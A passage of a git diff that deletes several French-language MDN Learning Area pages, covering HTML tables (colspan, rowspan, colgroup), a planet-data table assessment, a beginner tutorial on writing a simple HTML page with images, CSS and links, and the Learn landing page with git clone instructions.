Les en-têtes de tableau ont un autre avantage — avec l'attribut scope (que nous étudierons dans le prochain article), ils rendent les tableaux plus accessibles en associant chaque en-tête à toutes les données des cellules d'une ligne ou d'une colonne. Les lecteurs d'écran peuvent alors lire toute une ligne ou une colonne de données, ce qui peut être très utile.

- -

Étendre des cellules sur plusieurs lignes ou colonnes

- -

Parfois, nous voulons qu'une cellule couvre plusieurs lignes ou colonnes. Prenez l'exemple simple suivant, qui montre le nom d'animaux communs. Dans certains cas, nous voulons montrer les noms du mâle et de la femelle à côté du nom générique de l'animal. Parfois nous ne le faisons pas, et nous voulons alors que le nom générique de l'animal s'étende sur toute la largeur du tableau.

- -

Le code initial ressemble à cela :

- -
<table>
-  <tr>
-    <th>Animaux</th>
-  </tr>
-  <tr>
-    <th>Hippopotame</th>
-  </tr>
-  <tr>
-    <th>Cheval</th>
-    <td>Jument</td>
-  </tr>
-  <tr>
-    <td>Étalon</td>
-  </tr>
-  <tr>
-    <th>Crocodile</th>
-  </tr>
-  <tr>
-    <th>Poulet</th>
-    <td>Coq</td>
-  </tr>
-  <tr>
-    <td>Coq</td>
-  </tr>
-</table>
- -

Mais le résultat ne nous donne pas ce que nous voulions :

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Animaux
Hippopotame
ChevalJument
Étalon
Crocodile
PouletCoq
Coq
- -

Nous avons besoin d'un moyen pour étendre "Animaux", "Hippopotame" et "Crocodile" sur deux colonnes, and "Cheval" et "Poulet" sur deux lignes. Heureusement, les en-têtes de tableau et les cellules ont les attributs colspan et rowspan, ce qui nous permet justement de faire cela. Les deux acceptent une valeur numérique correspondant au nombre de colonnes ou de lignes à couvrir. Par exemple, colspan="2" génère une cellule sur deux colonnes.

- -

Utilisons colspan et rowspan pour améliorer ce tableau.

- -
    -
  1. Tout d'abord, faites une copie locale de nos fichiers animals-table.html et minimal-table.css dans un nouveau répertoire sur votre ordinateur. Le HTML contient le même exemple d'animaux vu ci-dessus.
    2. -
  2. Ensuite, utilisez colspan pour mettre « Animaux », « Hippopotame » et « Crocodile » sur deux colonnes.
    3. -
  3. Enfin, utilisez rowspan pour mettre « Cheval » and « Poulet » sur deux lignes.
    4. -
  4. Enregistrez et ouvrez votre code sur un navigateur pour voir l'amélioration.
    5. -
- -
-

Note : Vous pouvez trouver l'exemple achevé dans animals-table-fixed.html sur GitHub (voir en direct aussi).

-
- - -
- -

Attribuer un style commun aux colonnes

- -

Il y a une dernière fonctionnalité dont nous devons parler dans cet article avant de passer à autre chose. HTML a une méthode de définition des styles pour une colonne entière de données en un seul endroit — les éléments <col> and <colgroup>. Ils existent parce qu'il peut être ennuyeux et inefficace de préciser le style dans chaque colonne  — vous devez généralement spécifier les éléments de style dans chaque  <td> ou <th> de la colonne, ou utiliser un selecteur complexe tel que {{cssxref(":nth-child()")}}.

- -

Observez l'exemple simple suivant :

- -
<table>
-  <tr>
-    <th>Data 1</th>
-    <th style="background-color: yellow">Data 2</th>
-  </tr>
-  <tr>
-    <td>Calcutta</td>
-    <td style="background-color: yellow">Orange</td>
-  </tr>
-  <tr>
-    <td>Robots</td>
-    <td style="background-color: yellow">Jazz</td>
-  </tr>
-</table>
- -

Ce qui nous donne comme résultat :

- - - - - - - - - - - - - - - - -
Data 1Data 2
CalcuttaOrange
RobotsJazz
- -

Ce n'est pas idéal, car nous devons répéter les informations de style dans les trois cellules de la colonne  (nous aurions probablement défini une classe dans un projet réel et spécifié le style dans une feuille de style séparée). À la place, nous pouvons préciser l'information une seule fois dans un élément <col>. Les éléments <col> sont utilisés dans un conteneur <colgroup> juste en-dessous de la balise <table>. Nous pourrions créer le même effet que  celui vu plus haut en spécifiant notre tableau comme suit :

- -
 <table>
-   <colgroup>
-    <col>
-    <col style="background-color: yellow">
-  </colgroup>
-  <tr>
-    <th>Data 1</th>
-    <th>Data 2</th>
-  </tr>
-  <tr>
-    <td>Calcutta</td>
-    <td>Orange</td>
-  </tr>
-  <tr>
-    <td>Robots</td>
-    <td>Jazz</td>
-  </tr>
-</table>
- -

En effet, nous définissons deux « styles de colonnes », les informations de style pour chaque colonne. Nous n'appliquons pas de style pour la première colonne, mais nous devons inclure un élément <col>  vide — si nous ne le faisons pas, le style indiqué s'appliquera à la première colonne.

- -

Si nous voulions appliquer les informations de style aux deux colonnes, nous devrions juste inclure un élément <col> avec un attribut span, comme ceci :

- -
<colgroup>
-  <col style="background-color: yellow" span="2">
-</colgroup>
- -

Comme colspan et rowspan, span reçoit une valeur numérique qui précise le nombre de colonnes sur lesquelles le style s'applique.

- -

Apprentissage actif : colgroup et col

- -

Maintenant, il est temps de vous y mettre vous-même.

- -

Ci-dessous, vous pouvez voir le planning d'un professeur de langues. Le vendredi, elle a une nouvelle classe pour l'enseignement du néerlandais toute la journée, mais elle enseigne aussi l'allemand pendant de courtes périodes les mardis et jeudis. Elle veut souligner les colonnes des jours où elle enseigne.

- -

{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}

- -

Recréez le tableau en suivant les étapes ci-dessous.

- -
    -
  1. Tout d'abord, faites une copie locale du fichier timetable.html dans un nouveau répertoire sur votre ordinateur. Le HTML contient le tableau vu ci-dessus, à l'exception des informations de style des colonnes.
    2. -
  2. Ajoutez un élément <colgroup>  au début du tableau, juste en dessous de la balise <table>,dans lequel vous pouvez ajouter vos éléments <col> (voir les étapes restantes ci-dessous).
    3. -
  3. Les deux premières colonnes doivent rester sans style.
    4. -
  4. Ajoutez une couleur de fond à la troisième colonne. La valeur de votre attribut style est background-color:#97DB9A;
    5. -
  5. Définissez une largeur différente pour la quatrième colonne. La valeur de votre attribut style est width: 42px;
    6. -
  6. Ajoutez une couleur de fond pour la cinquième colonne. La valeur de votre attribut style est background-color: #97DB9A;
    7. -
  7. Ajoutez une couleur de fond différente et une bordure pour la sixième colonne, pour signifier que c'est une journée spéciale et qu'elle enseigne à une nouvelle classe. Les valeurs de votre attribut style sont background-color:#DCC48E; border:4px solid #C1437A;
    8. -
  8. Les deux derniers jours sont libres, alors pas de couleur de fond mais une largeur à spécifier ; la valeur de votre attribut style est width: 42px;
    9. -
- -

Voyez comment vous lisez avec l'exemple. Si vous êtes coincé ou souhaitez vérifier votre travail, vous pouvez trouver notre version timetable-fixed.html (à voir aussi directement) sur GitHub .

- -

Résumé

- -

Cela ne fait que compléter les bases des tableaux HTML. Dans l'article suivant, nous allons voir quelques fonctionnalités de tableaux un peu plus avancées et commencer à penser à quel point elles sont accessibles pour les malvoyants.

- -
{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
- - - -
-

Dans ce module

- - -
diff --git a/files/fr/apprendre/html/tableaux/index.html b/files/fr/apprendre/html/tableaux/index.html deleted file mode 100644 index 5dd680eddf..0000000000 --- a/files/fr/apprendre/html/tableaux/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Les tableaux en HTML -slug: Apprendre/HTML/Tableaux -tags: - - Article - - CodingScripting - - Débutant - - Guide - - HTML - - Landing - - Module - - Tableaux -translation_of: Learn/HTML/Tables ---- -
{{LearnSidebar}}
- -

Une tâche assez courante en HTML consiste à structurer des données sous forme de tableaux. HTML dispose d'un certain nombre d'éléments avec attributs à cet effet. Couplé avec un peu de CSS pour styliser ces tableaux, HTML facilite l'affichage d'informations dans des tableaux sur le web comme les emplois du temps de l'école par exemple, les horaires d'ouverture de la piscine du quartier ou des statistiques à propos de votre équipe de football ou de dinosaures favorite. Ce module parcourt tout ce que vous devez savoir pour structurer des données sous forme de tableaux en utilisant HTML.

- -

Prérequis

- -

Avant de commencer ce module, vous devez déjà connaître les bases du HTML  — voyez Introduction au HTML.

- -
-

Note : Si vous travaillez sur un ordinateur/tablette/autre appareil avec lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous devriez essayer (la plupart) des exemples de code dans un programme de codage en ligne comme JSBin ou Thimble.

-
- -

Guides

- -

Ce module contient les articles suivants :

- -
-
Bases à propos des Tableaux en HTML
-
Cet article vous initie aux tableaux en HTML. Il porte sur les bases comme les rangées, cellules, en-têtes, cellules sur plusieurs colonnes ou lignes, ainsi que sur la façon de regrouper les cellules dans une colonne en vue d'affecter un style.
-
Caractéristiques avancées des Tableaux HTML et accessibilité
-
Dans le second article de ce module, nous allons aborder quelques fonctionnalités plus avancées des tableaux en HTML — comme les intitulés / résumés et le regroupement de rangées dans des sections d'en-tête, de corps ou de pied — ainsi que l'accessibilité aux tableaux pour des utilisateurs ayant des problèmes visuels.
-
- -

Évaluation des connaissances

- -
-
Structuration de données sur les planètes
-
Pour une évaluation des connaissances en matière de tableaux, nous vous  fournissons quelques données sur les planètes du système solaire et nous vous demandons de les structurer sous forme de tableau HTML.
-
diff --git a/files/fr/apprendre/html/tableaux/structuring_planet_data/index.html b/files/fr/apprendre/html/tableaux/structuring_planet_data/index.html deleted file mode 100644 index 7ee33d6adf..0000000000 --- a/files/fr/apprendre/html/tableaux/structuring_planet_data/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: "Revue\_: structurer les données des planètes" -slug: Apprendre/HTML/Tableaux/Structuring_planet_data -translation_of: Learn/HTML/Tables/Structuring_planet_data ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}
- -

Dans notre évaluation, nous vous fournissons des données sur les planètes de notre système solaire pour vous permettre de les structurer dans un tableau HTML.

- - - - - - - - - - - - -
Prérequis :Avant de tenter cette évaluation, vous devez déjà avoir travaillé tous les articles de ce module.
Objectif :Vérifier la compréhension des tableaux HTML et des fonctionnalités associées.
- -

Point de départ

- -

Pour commencer cette évaluation, créez des copies locales de blank-template.html, minimal-table.css et planets-data.txt dans un nouveau répertoire dans votre ordinateur.

- -
-

Note: Vous pouvez aussi utiliser un site commeJSBin ou Thimble pour votre évaluation. Vous pouvez coller les HTML, CSS et JavaScript dans l'un de ces éditeurs en ligne. Si votre éditeur en ligne n'a pas de panneaux séparés JavaScript/CSS, n'hésitez pas à les mettre en ligne <script>/<style> dans la page HTML.

-
- -

Résumé du projet

- -

Vous travaillez dans une école ; actuellement, vos étudiants étudient les planètes de notre système solaire, et vous souhaitez leur fournir un ensemble de données faciles à suivre, pour rechercher des faits et des chiffres sur les planètes. Un tableau de données HTML serait idéal : vous devez prendre les données brutes disponibles et les organiser en tableau, en suivant les étapes ci-dessous.

- -

Le tableau terminé devrait ressembler à celui-ci :

- -

- -

Vous pouvez aussi regarder l'exemple ici (sans regarder le code source — ne trichez pas !)

- - - -

Étapes à suivre

- -

Les étapes suivantes décrivent ce que vous devez faire pour complèter l'exemple de tableau. Toutes les données dont vous avez besoin sont contenues dans le fichier planets-data.txt. Si vous avez du mal à visualiser les données, regardez l'exemple donné dans le lien ci-dessus, ou essayez de dessiner un diagramme.

- -
    -
  1. Ouvrez votre copie de blank-template.html, et commencez le tableau en lui donnant un conteneur extérieur, un en-tête et un corps de tableau. Vous n'avez pas besoin d'un pied de tableau dans cet exemple.
    2. -
  2. Ajoutez la légende fournie à votre tableau.
    3. -
  3. Ajoutez une ligne à l'en-tête contenant tous les en-têtes de colonnes.
    4. -
  4. Créez toutes les lignes de contenu du corps du tableau, en vous rappelant de faire systématiquement tous les en-têtes de lignes.
    5. -
  5. Assurez-vous que tout le contenu est inséré dans les cellules de droite - dans les données brutes, chaque ligne de données d'une planète est affiché à côté de la planète associée.
    6. -
  6. Ajoutez les attributs pour créer des en-têtes de lignes et colonnes ne pouvant être confondus avec les lignes, colonnes et groupes de lignes dont ils sont les en-têtes.
    7. -
  7. Ajoutez une bordure noire pour entourer la colonne contenant les noms des planètes (en-têtes de lignes).
    8. -
- -

Conseils et astuces

- - - -

Correction

- -

Si vous réalisez cette évaluation dans le cadre d'un cours organisé, vous devez pouvoir remettre votre travail à votre professeur/formateur pour la correction. Si vous êtes en auto-apprentissage, alors vous pouvez obtenir aisément le guide de correction par une demande auprès de Learning Area Discourse thread, ou dans le #mdn canal IRC sur Mozilla IRC. Essayez d'abord l'exercice — il n'y a rien à gagner en trichant !

- -

{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}

diff --git "a/files/fr/apprendre/html/\303\251crire_une_simple_page_html/index.html" "b/files/fr/apprendre/html/\303\251crire_une_simple_page_html/index.html" deleted file mode 100644 index 978bfc7c17..0000000000 --- "a/files/fr/apprendre/html/\303\251crire_une_simple_page_html/index.html" +++ /dev/null @@ -1,273 +0,0 @@ ---- -title: Écrire une simple page HTML -slug: Apprendre/HTML/Écrire_une_simple_page_HTML -tags: - - Beginner - - CodingScripting - - Guide - - HTML - - Learn - - Web Development -translation_of: Learn/Getting_started_with_the_web -translation_of_original: Learn/HTML/Write_a_simple_page_in_HTML ---- -
-

Dans ceta rticle, vous apprendrez à créer une page web simple grâce à {{Glossary("HTML")}}.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable avoir un éditeur de texte et savoir comment ouvrir un fichier dans un navigateur.
Objectifs :Créer une page web que vous pourrez visualiser dans votre navigateur.
- -

La plus simple des pages web est simplement un fichier {{Glossary("HTML")}} valide. Il suffit donc d'un fichier HTML valide, d'un éditeur de texte et d'un navigateur web. Dans cet article, nous verrons comment utiliser {{Glossary("Balise","quelques balises")}} HTML et comment voir la page dans un navigateur.

- -

Pédagogie active

- -

Tout d'abord, assurez-vous d'avoir un navigateur web et un éditeur de texte avec lequel vous êtes à l'aise. Pour cet article, n'importe quel éditeur de texte conviendra (que ce soit Bloc-notes pour Windows, TextEdit pour Mac ou gedit pour GNU/Linux voire un autre). Une seule remarque : assurez-vous de bien créer des fichiers textes simples, sous TextEdit notamment, vous pouvez choisir l'option « Texte simple » dans le menu « Format ».

- -

Première étape : un fichier

- -

Une page web est, au strict minimum, un fichier HTML. Nous commencerons donc par en créer un. Lancez votre éditeur de texte puis saisissez le texte suivant :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Coucou</title>
-  </head>
-  <body>
-  Cette page est une
-  page toute simple
-  </body>
-</html>
- -

Vous pouvez éditer ce fichier comme vous le souhaitez en modifiant par exemple le texte dans les balises title ou body. Lorsque vous enregistrez le fichier, assurez-vous de l'enregister avec l'extension « .html ». Par exemple, le fichier peut être intitulé  « ma_page.html ».

- -

Une fois que vous avez enregistré ce fichier sur votre ordinateur, vous devriez obtenir quelque chose qui ressemble à cette capture (bien entendu, l'allure dépendra de votre système d'exploitation et de votre configuration) :

- -

Screenshot of a file explorer with a html file for local test

- -

Si vous double-cliquez sur le fichier, celui-ci s'ouvrira dans votre navigateur. Pour ouvrir le fichier dans votre éditeur de texte afin de le modifier, vous pouvez cliquez-droit et choisir le logiciel avec lequel ouvrir le fichier (ici l'éditeur de texte) (sinon, vous pouvez glisser-déposer le fichier dans votre éditeur ou encore choisir de l'ouvrir depuis l'éditeur grâce à l'option « Ouvrir » qui se situe généralement dans le menu « Fichier »). Selon l'éditeur que vous utilisez, vous devriez avoir quelque chose qui ressemble à :

- -

Screenshot of a file explorer with a html file for local test

- -

Deuxième étape : un navigateur web

- -

Dans votre explorateur de fichiers (Windows Explorer sur Windows, Finder sur Mac ou Fichiers sur Ubuntu), repérez le fichier que vous avez créé et ouvrez-le dans votre navigateur web (en double-cliquant dessus ou en glissant-déposant le fichier sur l'icône du navigateur). Le navigateur affiche alors le texte du fichier HTML que vous avez créé et l'onglet affiche le titre de la page. Selon le navigateur et la plateforme que vous utilisez, cela devrait ressembler à :

- -

Screenshot of a file explorer with a html file for local test

- -

Vous pouvez voir le contenu de la page et le titre dans l'onglet. Toutefois, on voit qu'il n'y a pas de saut de ligne… intéressant.

- -

Troisième étape : à vous de jouer !

- -

Essayez de manipuler le fichier HTML dans tous les sens en ajoutant du texte, en retirant des morceaux pour voir ce que ça donne. Certaines modifications n'empêcheront pas la page de s'afficher dans le navigateur, d'autres en revanche casseront la page et causeront des problèmes d'affichage. Vous verrez alors que le navigateur essaie de corriger certains problèmes.

- -

La première chose que vous devriez avoir remarqué est que le texte qui est affiché à l'écran est uniquement le texte qui n'est pas contenu entre des chevrons ouvrants et fermants (« < » et « > »). Tout le texte contenu entre ces chevrons forme des {{Glossary("balises")}} qui représentent la structure (ou le squelette) de la page. Tout le contenu affiché est situé à l'intérieur de ces balises.

- -

Dans notre page d'exemple, on a deux sections : un en-tête contenu dans le bloc {{HTMLElement("head")}} et un « corps » contenu dans le bloc {{HTMLElement("body")}}. Le corps contient le texte qui est affiché sur la page.

- -

Chaque balise possède une signification particulière et doit être utilisée à bon escient. Par exemple, {{HTMLElement("title")}} est utilisé afin d'indiquer le titre d'une page (qui peut être différent du nom utilisé pour le fichier). On remarque aussi que des balises sont imbriquées dans d'autres balises : {{HTMLElement("title")}} est par exemple contenue dans {{HTMLElement("head")}}.

- -

Si vous souhaitez ajouter quelque chose à votre page, une image par exemple, vous devrez ajouter une balise pour l'image :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Coucou</title>
-  </head>
-  <body>
-    Cette page est une
-    page toute simple
-    <img src="licorne.png" alt="Une image de licorne :)" />
-    avec une licorne
-  </body>
-</html>
- -

Pour obtenir ce résultat, il suffit d'éditer le fichier HTML vu précédemment et d'y ajouter la ligne suivante avec {{HTMLelement("img")}} :

- -
<img src="licorne.png" alt="Une image de licorne :)" />
- -

Cet élément peut être placé n'importe où dans l'élément {{HTMLElement("body")}}. N'oubliez pas de sauvegarder la page que vous avez modifiée !

- -

Ensuite, vous devrez ajouter un fichier intitulé "licorne.png" dans le même répertoire que votre fichier HTML. Une fois que c'est fait, rafraîchissez la page dans votre navigateur web (ou réouvrez le fichier dans le navigateur. Vous devriez alors voir la page qui a changé et qui contient une image (n'oubliez pas de sauvegarder votre fichier HTML).

- -

Original file for the unicorn image

- -
-

Note : Vous pouvez télécharger cette image depuis cette page en cliquant-droit sur l'image et en choisissant l'option « Enregistrer l'image sous » du menu contextuel.

-
- -

Pour que cet exemple fonctionne, vous aurez besoin d'avoir les fichier organisés de cette façon sur votre ordinateur :

- -

Screenshot of the explorer with 2 files : a html file and a picture file

- -

La page obtenue devrait alors ressembler à :

- -

Screenshot for the example with a picture

- -

Vous avez pu voir que l'élément{{HTMLElement("img")}} avait des {{Glossary("attribut","attributs")}} : ceux-ci permettent de fournir des informations supplémentaires afin de construire l'objet à afficher (dans ce cas, un attribut permet de connaître le nom du fichier à utiliser pour l'image et un autre permet de fournir un texte alternatif qui peut être affiché lorsque l'image ne peut être chargée).

- -

Cet exemple illustre comment ajouter une image ) votre page web mais vous pouvez utiliser des techniques semblables pour ajouter des musiques, des vidéos et d'autres éléments, rien qu'en utilisant HTML.

- -

Aller plus loin

- -

Ce n'est pas la plus jolie des pages web…

- -

Comme vous avez pu le voir, cette page web n'est pas non plus un canon de beauté. Cela s'explique car HTML gère uniquement le contenu et sa signification (aussi appelée « sémantique »), il ne gère pas la mise en forme (le « design ») de la page.

- -

{{Glossary("CSS")}} permet d'enjoliver le contenu en ajoutant des couleurs, en gérant des polices, la mise en page, etc. HTML serea suffisant pour créer des pages web simples. En revanche, pour créer des pages plus complexes ou plus attractives, il faudra appeler CSS voire {{Glossary("JavaScript")}} à la rescousse. HTML permet de construire le contenu, CSS permet de le mettre en forme et JavaScript permet de le rendre dynamique.

- -

Utilisons CSS pour que le texte de la page soit affiché en bleu :

- -
<!DOCTYPE html>
-<html>
-    <head>
-        <title>Coucou</title>
-        <style>
-           body {
-             color: blue;
-           }
-        </style>
-    </head>
-    <body>
-        <p>Voici du texte bleu</p>
-        <img alt="Une image de licorne :)" src="licorne.png"/>
-    </body>
-</html>
- -

Ici, on a ajouté l'élément {{HTMLElement("style")}} à l'élément {{HTMLElement("head")}}. Celui-ci permettra de définir le CSS à appliquer au texte présent dans le corps de la page.

- -

Vous aimeriez que votre texte soit souligné ? Vous pouvez ajouter la règle text-decoration: underline; :

- -
body {
-  color: blue;
-  text-decoration: underline;
-}
- -

Si vous souhaitez que votre texte ait une taille donnée, vous pouvez ajouter font-size: 42px; comme ceci :

- -
body {
-  color: blue;
-  text-decoration: underline;
-  font-size: 42px;
-}
- -

Au final, le code obtenu ressemblera à :

- -
<!DOCTYPE html>
-<html>
-    <head>
-        <title>Coucou</title>
-        <style>
-           body {
-             color: blue;
-             text-decoration: underline;
-             font-size: 42px;
-           }
-        </style>
-    </head>
-    <body>
-        <p>Voici du texte bleu</p>
-        <img alt="Une image de licorne :)" src="licorne.png"/>
-    </body>
-</html>
- -

Si vous sauvegardez la page dans votre éditeur puis que vous rafraîchissez la page dans le navigateur, vous devriez pouvoir voir quelque chose comme :

- -

Screenshot of the browser with the page with some CSS

- -

Avoir deux pages web

- -

Lorsque vous naviguez sur le Web, vous rencontrez souvent des {{Glossary("hyperliens","liens")}}. Ceux-ci permettent de naviguer de page en page. Comme nous l'avons vu avant, HTML s'occupe principalement du contenu d'une page. Or, les liens sont une forme de contenu. Autrement dit : il est possible de créer des liens en utilisant uniquement HTML.

- -

Créer un lien entre deux pages locales

- -

Dans cet exercice, nous aurons besoin de deux fichiers HTML. Nous ajouterons un lien dans chacune de ces pages afin de pouvoir passer de l'une à l'autre.

- -

Dans le premier fichier, vous pouvez conserver la même structure que précédemment. Le plus important est d'ajouter une nouvelle balise {{HTMLElement("a")}} de cette façon:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Page 1</title>
-  </head>
-  <body>Ici la page 1.
-    <a href="page2.html" title="Vers la page 2">Que se passe-t-il page 2 ?</a></body>
-</html>
- -

La deuxième page, quant à elle, contient un lien vers la première :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Page 2 :)</title>
-  </head>
-  <body>Ici la page 2.
-    <a href="page1.html" title="Vers la page 1">Souhaitez-vous revenir vers la page 1 ? Cliquez-ici</a></body>
-</html>
- -
-

Note : Assurez-vous que les noms de fichiers définis dans les balises {{HTMLElement("a")}} avec les attributs href correspondent bien aux noms des fichiers que vous avez sur votre ordinateur.

-
- -

Dans votre navigateur, vous pouvez alors naviguer entre les deux documents HTML. Ouvrez la première page dans le navigateur puis cliquez sur le lien pour accéder à la deuxième page et vice versa. Vous pouvez également utiliser le bouton « Précédent » de votre navigateur pour revenir à la page que vous consultiez précédemment.

- -

Pour cet exercice, votre gestionnaire de fichiers devrait avoir deux fichiers HTML placés dans le même répertoire :

- -

Screenshot of the file explorer with two HTML documents in one directory/folder

- -

Dans le navigateur web, la page 1 ressemblera à  :

- -

Screenshot of a file explorer with a html file for local test

- -

Après avoir cliqué sur le lien, on arrive sur la page 2 :

- -

Screenshot of the 2nd page of the 2 pages example in the browser

- -
-

Note : On remarque que le lien sur la page 2 est violet. De cette façon, le navigateur montre que vous avez déjà visité la page 1 (en quelque sorte, le navigateur garde en mémoire les pages et l'affiche de cette façon).

-
- -

Si vous voulez, vous pouvez très bien continuer cet exercice avec plus de deux pages. Vous pouvez également poursuivre la lecture de cet article pour compléter ce que nous avons vu jusqu'à présent.

- -

Ajouter un lien vers un autre site web

- -

Dans cet exercice, nous ajouterons un lien dans le fichier HTML afin que le visiteur du site puisse se rendre facilement sur une autre page web complémentaire. Il est possible d'ajouter un lien vers n'importe quelle page publique sur le Web. Pour cet exemple, nous ajouterons un lien vers Wikipédia :

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8"/>
-    <title>Ma page</title>
-  </head>
-  <body>Il était une fois,...Les licornes sont superbes... La fin.
-    <a href="https://fr.wikipedia.org/wiki/Licorne" title="Page Wikipédia sur les licornes">Vous voulez en savoir plus sur les licornes ? Wikipédia est à portée de clic.</a></body>
-</html>
- -

Dans le navigateur, cela devrait ressembler à :

- -

Screenshot of the example page with a link to Wikipedia in the browser

- -

Lorsque vous passez votre souris sur le lient, vous verrez que le texte contenu dans l'attribut {{htmlattrxref("title")}} est affiché dans une bulle d'informations. Ce texte peut être utilisé afin de fournir plus d'informations sur le lien pour aider l'utilisateur à déterminer s'il est utile de cliquer sur le lien ou non.

- -
-

Rappel : À chaque fois que vous modifiez la page, n'oubliez pas de sauvegarder le fichier dans votre éditeur et de rafraîchir la page dans votre navigateur afin de visualiser vos modifications.

-
- -

Prochaines étapes

- - diff --git a/files/fr/apprendre/index.html b/files/fr/apprendre/index.html deleted file mode 100644 index 43c361e157..0000000000 --- a/files/fr/apprendre/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Apprendre le développement web -slug: Apprendre -tags: - - Apprendre - - CSS - - Débutant - - HTML - - Index - - Introduction - - Landing - - Web -translation_of: Learn ---- -

{{LearnSidebar}}

- -
-

Bienvenue dans l'Espace d'apprentissage du MDN. Cet ensemble d'articles a pour but de fournir aux développeurs Web débutants tout ce dont ils ont besoin pour commencer à développer des sites web simples.

-
- -

Le but de cette section du MDN n'est pas de vous faire passer de « débutant » à « expert », mais plutôt de vous mettre à l'aise avec les technologies. À partir de là, vous devriez être capable de vous débrouiller par vous-même, en utilisant le reste du contenu du MDN et d'autres ressources.

- -

Si vous êtes un débutant complet, le développement web peut être un réel défi — notre but est de simplifier suffisamment le sujet pour que vous appreniez facilement, tout en vous fournissant assez de détails pour que vous soyez autonome. Vous devriez vous sentir chez vous, que vous soyez un étudiant apprenant le développement web (de votre propre gré ou dans le cadre de vos études), un enseignant recherchant des supports de cours, un amateur ou quelqu'un qui souhaite simplement comprendre la manière dont fonctionnent le web et ses technologies.

- -

Quoi de neuf ?

- -

Le contenu de l'espace d'apprentissage est régulièrement enrichi. Nous avons commencé à conserver les notes de version de l'espace de formation afin de vous indiquer ce qui a changé - revenez souvent !

- -

Si vous avez des questions concernant des sujets que vous aimeriez voir couverts ou si vous pensez qu'ils en manquent, envoyez-nous un message sur notre Forum de discussion.

- -
-

Vous voulez devenir un développeur web front-end ?

- -

Nous avons mis au point un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif.

- -

Commencez

-
- -

Par où commencer ?

- - - -
-

Note : Notre Glossaire fournit des définitions de la terminologie employée.

-
- -

{{LearnBox({"title":"Entrée aléatoire dans le glossaire"})}}

- -

Rubriques couvertes

- -

Voici une liste de toutes les rubriques couvertes dans la zone d'apprentissage du MDN.

- -
-
Débuter avec le développement web
-
Une introduction pratique au développement web pour les vrais débutants.
-
HTML — structuration du web
-
Le HTML est le langage utilisé pour structurer les diverses parties d'un contenu et définir leur signification et leur rôle. Cet article vous enseigne le HTML en détail.
-
CSS — style du web
-
CSS est le langage que nous pouvons aussi bien utiliser pour styliser et mettre en forme les contenus web que pour ajouter des comportements tel l'animation. Cet article couvre exhaustivement les CSS.
-
JavaScript — des scripts dynamiques coté client
-
C'est le langage de script utilisé pour ajouter des fonctionnalités dynamiques aux pages web. Cet article enseigne les fondamentaux nécessaires pour comprendre et écrire aisément du JavaScript.
-
Accessibilité — rendre le web utilisable par tous
-
L'accessibilité consiste à rendre le contenu web disponible au plus grand nombre de personnes possible quels que soient leur handicap, leur matériel, leur résidence ou autres différences. Cet article fournit tout le savoir nécessaire.  
-
Outils et tests
-
Cette rubrique présente les outils que les développeurs utilisent pour faciliter leur travail, tels que les outils de test inter-navigateurs.
-
Programmation de site web coté serveur
-
Même si vous êtes focalisés sur le développement côté client, il est toujours utile de connaître le mode de fonctionnement des serveurs et des fonctionnalités du code côté serveur. Cette rubrique fournit une introduction générale sur le fonctionnement côté serveur et des didacticiels détaillant la manière de créer une application côté serveur à l'aide de deux environnements applicatifs populaires : Django (en Python) et Express (node.js).
-
- -

Obtenir nos exemples de code

- -

Les exemples de code que vous rencontrerez dans l'Espace d'apprentissage sont tous disponibles sur GitHub. Si vous voulez les copier sur votre ordinateur, le plus facile est de :

- -
    -
  1. Installer Git sur votre machine. C'est le logiciel sous‑jacent de contrôle de version sur lequel GitHub fonctionne.
    2. -
  2. S'inscrire pour obtenir un compte GitHub.
    3. -
  3. Une fois inscrit, se connecter dans github.com avec votre nom d'utilisateur et votre mot de passe.
    4. -
  4. Ouvrir l'invite de commande (Windows) ou un terminal (Linux, macOS).
    5. -
  5. Pour copier depuis le dépôt de l'espace d'apprentissage un répertoire nommé « learning-area » à l'emplacement courant dans votre ordinateur, utilisez la commande suivante : - 
    git clone https://github.com/mdn/learning-area
    -
    6. -
  6. Vous pouvez maintenant saisir le répertoire et retrouver les fichiers recherchés (soit avec votre explorateur de fichiers ou avec la commande cd).
    7. -
- -

Vous pouvez mettre à jour le dépôt de learning-area pour tout changement intervenu sur la version maître de GitHub en parcourant les étapes suivantes :

- -
    -
  1. Dans votre terminal/invite de commande, allez dans le répertoire learning-area avec cd. Par exemple, si vous êtes dans son répertoire parent : - - 
    cd learning-area
    -
    2. -
  2. Mettez à jour le dépôt avec la commande : - 
    git pull
    -
    3. -
- -

Nous contacter

- -

Si vous voulez nous contacter au sujet de quoi que ce soit, le meilleur moyen est de nous envoyer un message sur le fil de discussion de l'Espace d'apprentissage ou sur les canaux de l'IRC. Nous aimerions que vous nous fassiez part de tout ce que vous pensez être erroné ou manquant sur le site, des demandes de nouveaux sujets d'apprentissage, des demandes d'aide pour des éléments que vous ne comprenez pas ou toute autre question ou préoccupation.

- -

Si vous êtes intéressé pour aider à développer/améliorer le contenu, jetez un coup d'œil à la façon dont vous pouvez aider, et contactez-nous ! Nous sommes plus qu'heureux de parler avec vous, que vous soyez un apprenti, un enseignant, un développeur web expérimenté ou quelqu'un d'autre intéressé à améliorer l'expérience d'apprentissage.

- -

Voir aussi

- -
-
Mozilla Developer Newsletter
-
Notre newsletter pour les développeurs web, une grande aide pour tous niveaux de compétence.
-
Learn JavaScript
-
Une excellente ressource pour les futurs développeurs web - Apprenez JavaScript dans un environnement interactif, avec des leçons courtes et des tests interactifs, avec une évaluation automatisée. Les 40 premières leçons sont gratuites, et le cours complet est disponible contre un petit paiement unique.
-
Web demystified
-
